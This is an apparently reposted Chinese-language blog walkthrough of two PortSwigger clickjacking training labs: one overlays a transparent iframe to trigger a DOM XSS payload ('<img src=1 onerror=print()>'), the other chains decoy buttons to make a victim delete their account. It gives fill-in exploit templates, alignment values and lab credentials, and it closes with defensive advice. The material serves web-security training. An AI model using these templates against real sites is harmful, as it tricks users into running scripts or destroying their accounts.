点击劫持攻击-攻击示例(下)

admin 2022年10月28日23:57:28评论48 views字数 2799阅读9分19秒阅读模式

在本节中,将解释什么是点击劫持,描述点击劫持攻击的常见示例,并讨论如何防范这些攻击。



将点击劫持与DOM XSS攻击相结合

到目前为止,我们已经将点击劫持视为一种独立的攻击。从历史上看,点击劫持已被用于执行诸如在Facebook页面上增加“赞”之类的行为。

然后,当点击劫持被用作另一种攻击(如DOM XSS攻击)的载体时,它的真正效力就会显现出来。

假设攻击者首先确定了XSS漏洞利用,则这种组合攻击的实施相对简单。然后将XSS漏洞与iframe目标URL结合起来,以便用户单击按钮或链接,从而执行DOM XSS攻击。


场景试验-利用点击劫持漏洞触发基于DOMXSS

https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss

场景说明:

这个试验场景包含一个由点击触发的XSS漏洞。

试验目的:

要完成这个试验,需要构造一个点击劫持攻击,欺骗用户点击"Click me"按钮来调用print()函数。

攻击过程:

打开页面后,点击右上侧"Submit feedback",进入提交页面

点击劫持攻击-攻击示例(下)

打开"exploit server",将下面代码复制到Body位置

<style>   iframe {      position:relative;      width:$width_value;      height: $height_value;      opacity: $opacity;   z-index: 2;   } div {      position:absolute;      top:$top_value;      left:$side_value;      z-index: 1;   }</style><div>Click me</div><iframe src="$url?name=<img src=1 onerror=print()>&[email protected]&subject=test&message=test#feedbackResult"></iframe>

几处需要替换的地方:

$url替换成试验场景"Submit feedback"页面的URL

$height_value$width_value建议设置成700px500px

$top_value$side_value建议先设置成610px80px,后续可以再进行调整

$opacity在调试时可以设置为0.1,在攻击时设置为0.0001


点击劫持攻击-攻击示例(下)


点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Submit Feedback"重叠,如果不重叠的话适当调整$top_value$side_value的值,最终使两者重叠在一起

点击劫持攻击-攻击示例(下)

修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。



多步点击劫持

攻击者对目标网站的输入进行操作可能需要执行多项操作。

例如,攻击者可能想要诱骗用户从零售网站购买商品,因此需要在下订单之前将商品添加到购物篮中。攻击者可以使用多个分区或iframe来实施这些操作。从攻击者的角度来看,此类攻击需要相当精确和谨慎,才能有效且隐蔽。

场景试验-多步点击劫持:

https://portswigger.net/web-security/clickjacking/lab-multistep

场景说明:

这个试验场景又一些受CSRF令牌保护的账户功能,还有一个确认对话框来防止点击劫持。

试验目的:

要完成这个试验,需要构建一个攻击,通过点击"Click me first""Click me next"诱饵动作来欺骗用户点击删除账户按钮和确认对话框。

场景提供了可供使用的账号wiener:peter

攻击过程:

用提供的账号进行登录,可以看到里面有"Delete account"的按钮

点击劫持攻击-攻击示例(下)

打开"exploit server",将下面代码复制到Body位置

<style>   iframe {      position:relative;      width:$width_value;      height:$height_value;      opacity:$opacity;      z-index:2;   }      .firstClick, .secondClick {      position:absolute;      top:$top_value1;      left:$side_value1;      z-index: 1; }      .secondClick {      top:$top_value2;      left:$side_value2;   }</style><div class="firstClick">Click me first</div><div class="secondClick">Click me next</div><iframe src="$url"></iframe>

几处需要替换的地方:

$url替换成试验网页用户登录后URL

$height_value$width_value建议设置成700px500px

$top_value1$side_value1建议先设置成330px50px,后续可以再进行调整让"Click me first""Delete account"按钮重叠

$top_value2$side_value2建议先设置成285px225px,后续可以再进行调整让"Click me next""Yes"按钮重叠

$opacity在调试时可以设置为0.1,在攻击时设置为0.0001

点击劫持攻击-攻击示例(下)

点击"Store"后再点击"View exploit",看下"Click me first"的位置是否和"Delete account"重叠,如果不重叠的话适当调整$top_value1$side_value1的值,最终使两者重叠在一起

点击劫持攻击-攻击示例(下)

随后点击"Click me first",看下"Click me next"的位置是否和"Yes"按钮重叠,如果不重叠的话适当调整$top_value2$side_value2的值,最终使两者重叠在一起

点击劫持攻击-攻击示例(下)

修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。


试验小结:

点击劫持的主要应用方式是通过钓鱼让受害者访问到恶意网站,随后再通过iframe页面框的模式来覆盖到真实页面上让受害者进行点击。因此除了在服务器端设置保护机制外,在企业内部进行防钓鱼安全培训也是非常重要的。


点击劫持攻击-攻击示例(下)


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理


原文始发于微信公众号(H君网安白话):点击劫持攻击-攻击示例(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月28日23:57:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   点击劫持攻击-攻击示例(下)http://cn-sec.com/archives/1378932.html

发表评论

匿名网友 填写信息